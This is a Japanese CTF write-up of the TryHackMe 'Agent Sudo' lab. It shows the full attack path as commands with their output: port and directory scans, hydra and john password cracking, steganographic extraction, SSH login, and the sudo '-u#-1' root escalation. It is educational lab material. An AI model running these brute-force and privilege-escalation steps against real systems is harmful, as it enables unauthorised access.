はじめに

TryHackMeの "Agent Sudo" というルームのWriteupです。
たくさんのエイリアンが出てくるルームをハックしていきましょう！

難易度 : Easy

目標

Recon (偵察) → Enumeration (列挙) → GainingAccess (侵入) → PrivEsc (権限昇格)
という流れで進めていきます。
侵入後に user.txt、権限昇格後に root.txt をゲットするのが目標です。

Recon

いつも通り、nmapでオープンポートの調査をします。

root@ip-10-10-246-163:~# nmap -Pn -sV 10.10.45.251

Starting Nmap 7.60 ( https://nmap.org ) at 2024-02-13 13:01 GMT
Nmap scan report for ip-10-10-45-251.eu-west-1.compute.internal (10.10.45.251)
Host is up (0.026s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
MAC Address: 02:2F:0B:8A:5A:FD (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.62 seconds

21(ftp), 22(ssh), 80(http)が空いています。

ディレクトリスキャン

root@ip-10-10-246-163:~# gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.45.251
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.45.251
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2024/02/13 13:04:37 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/index.php (Status: 200)
/server-status (Status: 403)
===============================================================
2024/02/13 13:04:48 Finished
===============================================================

めぼしいページは見つかりませんでした。

Webサイト偵察

アクセスするためにはuser-agentを変更する必要があるようです。

Burp Suiteでブルートフォース

User-Agentを変更してHTTPリクエストを送りたいと思います。
まず、Burp SuiteでInterceptします。

Send to Intruder をクリックします。

ブルートフォースしたいパラメータの部分に任意の文字列を記入します。

Agent Rがいるので、おそらく大文字のアルファベット１文字だと仮定してペイロードを設定します。

ブルートフォースしてみると、Cの時だけ302 リダイレクトされることがわかりました。

では戻ってUser-Agent: Cとしてサイトを見てみましょう。

Interceptタブに戻って変更しました。この状態で、Intercept is on をクリックします。

リダイレクトされてページが変わりました！
Agent Cはchrisという名前だったようです。

また、Jさんがすごく脆弱なパスワードを使っているという情報もゲットしました。

chrisでブルートフォース

Agent Jの名前はまだわからないので、唯一知っているchrisというユーザ名で、sshとftpに対してブルートフォースを行っていきます。

└─$ hydra -l chris -P /usr/share/wordlists/rockyou.txt ftp://10.10.75.144   
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-16 10:28:59
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ftp://10.10.75.144:21/
[STATUS] 224.00 tries/min, 224 tries in 00:01h, 14344175 to do in 1067:17h, 16 active
[21][ftp] host: 10.10.75.144   login: chris   password: crystal
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-16 10:30:10

ftpのパスワードがわかりました。ログインしてみます。

┌──(kali㉿kali)-[~/THM/AgentSudo]
└─$ ftp chris@10.10.75.144
Connected to 10.10.75.144.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||61791|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Oct 29  2019 .
drwxr-xr-x    2 0        0            4096 Oct 29  2019 ..
-rw-r--r--    1 0        0             217 Oct 29  2019 To_agentJ.txt
-rw-r--r--    1 0        0           33143 Oct 29  2019 cute-alien.jpg
-rw-r--r--    1 0        0           34842 Oct 29  2019 cutie.png
226 Directory send OK.

気になるファイルがあったのでローカルに持ってきましょう。

ftp> mget *
mget To_agentJ.txt [anpqy?]? y
229 Entering Extended Passive Mode (|||21677|)
150 Opening BINARY mode data connection for To_agentJ.txt (217 bytes).
100% |*********************************************************************************|   217        1.56 MiB/s    00:00 ETA
226 Transfer complete.
217 bytes received in 00:00 (0.71 KiB/s)
mget cute-alien.jpg [anpqy?]? y
229 Entering Extended Passive Mode (|||31553|)
150 Opening BINARY mode data connection for cute-alien.jpg (33143 bytes).
100% |*********************************************************************************| 33143       51.81 KiB/s    00:00 ETA
226 Transfer complete.
33143 bytes received in 00:00 (35.41 KiB/s)
mget cutie.png [anpqy?]? y
229 Entering Extended Passive Mode (|||33928|)
150 Opening BINARY mode data connection for cutie.png (34842 bytes).
100% |*********************************************************************************| 34842       43.20 KiB/s    00:00 ETA
226 Transfer complete.
34842 bytes received in 00:01 (31.39 KiB/s)
ftp> quit
221 Goodbye.

中を見てみましょう。

To_AgentJ.txt

Dear agent J,
All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.
From,Agent C
このエイリアンのような写真はすべて偽物です！
エージェントRは本物の写真をあなたのディレクトリに保存しました。
あなたのログインパスワードは偽の写真に保存されています。問題ありません。

なるほど・・・・？

この画像２つはどちらかが本物で、どちらかが偽物ということなのでしょうか。
写真の中にパスワードを保存したようなので、このファイルから隠されたパスワードを見つけてみましょう。

フォレンジック

strings, file, exiftool などのコマンドを実行したのですが、めぼしい情報はありませんでした。

ステガノグラフィーかなと思い、以下のツールを試してみました。

area51 が共通してパスワードかもと言われていますが、これはパスワードでしょうか？

そしてまだ Agent J の名前がわかりませんね。

ひとまずパスワードが area51 だとしてユーザ名でブルートフォースしてみます。

$ hydra -p area5 -L /usr/share/wordlist/rockyou.txt

→　だめでした

追記：
alien51 は steghide extract で情報を取り出すときのパスワードでした
以下かなり遠回りな方法で進んでいきます、、、

わからなくなって問題を再度見ると、ヒントのようなものがありました。

Zipファイルとstegをするときにパスワードが必要なようです

binwalkで見てみると、片方にzipファイルが隠されているようでした。

┌──(kali㉿kali)-[~/THM/AgentSudo]
└─$ binwalk -e cutie.png 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 528 x 528, 8-bit colormap, non-interlaced
869           0x365           Zlib compressed data, best compression

WARNING: Extractor.execute failed to run external extractor 'jar xvf '%e'': [Errno 2] No such file or directory: 'jar', 'jar xvf '%e'' might not be installed correctly
34562         0x8702          Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820         0x8804          End of Zip archive, footer length: 22
                                                                                        
┌──(kali㉿kali)-[~/THM/AgentSudo]
└─$ binwalk -e cute-alien.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01

binwalkによってフォルダが生成されていたので中身を確認していきます。

┌──(kali㉿kali)-[~/THM/AgentSudo]
└─$ ls
cute-alien.jpg  cutie.png  _cutie.png.extracted  hydra.restore  req.txt  To_agentJ.txt

zipの中にtxtファイルがあったのでクリックすると、パスワードを求められてしまいました。

zip パスワード john で調べた結果、パスワードクラックの方法が分かったので実行していきます。

┌──(kali㉿kali)-[~/THM/AgentSudo/_cutie.png.extracted]
└─$ zip2john 8702.zip > 8702.hash
Created directory: /home/kali/.john
                                                                                                                              
┌──(kali㉿kali)-[~/THM/AgentSudo/_cutie.png.extracted]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt 8702.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 128/128 SSE2 4x])
Cost 1 (HMAC size) is 78 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
+ alien            (8702.zip/To_agentR.txt)     
1g 0:00:00:00 DONE (2024-02-17 00:28) 1.234g/s 30340p/s 30340c/s 30340C/s michael!..280789
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

パスワードが分かったのでzipファイルの中身を見ていきましょう。

QXJlYTUx というのはハッシュか何かでしょうか？

hashes.com で調べたら画像の中に隠されていた文字列が出てきました。
既知の情報しか手に入りませんでした、、、

ヒント通りステガノグラフィで隠された情報を見ていきましょう。

┌──(kali㉿kali)-[~/THM/AgentSudo]
└─$ steghide extract -sf cute-alien.jpg 
Enter passphrase:   <----------- area51を入れる
wrote extracted data to "message.txt".
                                                                                                                              
┌──(kali㉿kali)-[~/THM/AgentSudo]
└─$ cat message.txt  
+ Hi james,

+ Glad you find this message. Your login password is hackerrules!

Don't ask me why the password look cheesy, ask agent R who set this password for you.

Your buddy,
chris

名前とパスワードが一気にわかってしまいましたね！

Gaining Access

sshが開いていたはずなので侵入していきましょう。

┌──(kali㉿kali)-[~/THM/AgentSudo]
└─$ ssh james@10.10.1.131 
The authenticity of host '10.10.1.131 (10.10.1.131)' can't be established.
ED25519 key fingerprint is SHA256:rt6rNpPo1pGMkl4PRRE7NaQKAHV+UNkS9BfrCy8jVCA.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:1: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
james@10.10.1.131's password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-55-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Feb 17 05:57:33 UTC 2024

  System load:  0.0               Processes:           93
  Usage of /:   39.7% of 9.78GB   Users logged in:     0
  Memory usage: 15%               IP address for eth0: 10.10.1.131
  Swap usage:   0%


75 packages can be updated.
33 updates are security updates.


Last login: Tue Oct 29 14:26:27 2019
james@agent-sudo:~$ whoami
james

入れました。ユーザフラグ探していきましょう。

james@agent-sudo:~$ ls
+ Alien_autospy.jpg  user_flag.txt
james@agent-sudo:~$ cat user_flag.txt 
flagflagflag*************

ゲットできました。もう１つ気になるファイルがあったので、ローカルにダウンロードして確認しましょう。

┌──(kali㉿kali)-[~]
└─$ scp james@10.10.1.131:/home/james/Alien_autospy.jpg  /home/kali/THM/AgentSudo 
james@10.10.1.131's password: 
Alien_autospy.jpg                                                                           100%   41KB  40.2KB/s   00:01

ちょっとお見せできないのですが死んだエイリアンのリアルな画像みたいなのでした、、、

問題に What is the incident of the photo called? と書いてあるのですが調べたくなかったのでchatGPTに聞いてみました。

ありがとうございます！！！

PrivEsc

ひとまずいつも通りSUDO, SUIDの脆弱性を探していこうと思います。

james@agent-sudo:~$ sudo -l
[sudo] password for james: 
Matching Defaults entries for james on agent-sudo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on agent-sudo:
+    (ALL, !root) /bin/bash

なにかありますね。　 (ALL, !root) /bin/bashで検索したらCVE番号がわかりました。

そのまま実行してみましょう。

james@agent-sudo:~$ sudo -u#-1 /bin/bash
root@agent-sudo:~# whoami
root

rootに昇格できました～！！！rootフラグを見てみましょう。

root@agent-sudo:/home# find / -name root.txt 2>/dev/null
/root/root.txt
root@agent-sudo:/home# cat /root/root.txt
To Mr.hacker,

Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine. 

Your flag is 
******FlagIsHere***************

By,
DesKel a.k.a Agent R

rootフラグがゲットできました。

あとがき

Burp Suiteとフォレンジックの勉強になりました。
色々遠回りしてしまったのですが、以下のツール使うと便利ですね。主要なコマンド結果が見れたり、隠されているファイルもダウンロードできるようになっています。

今度ctfに参加する際に使ってみようと思います！

また、時間がかかってしまったポイントとしては、ステガノグラフィでテキストではなくファイルを隠せることと、パスワードがかけられることを知らなかったところです。binwalk, steghideを初めて使うことが出来てよかったです。

Try Harder!

参考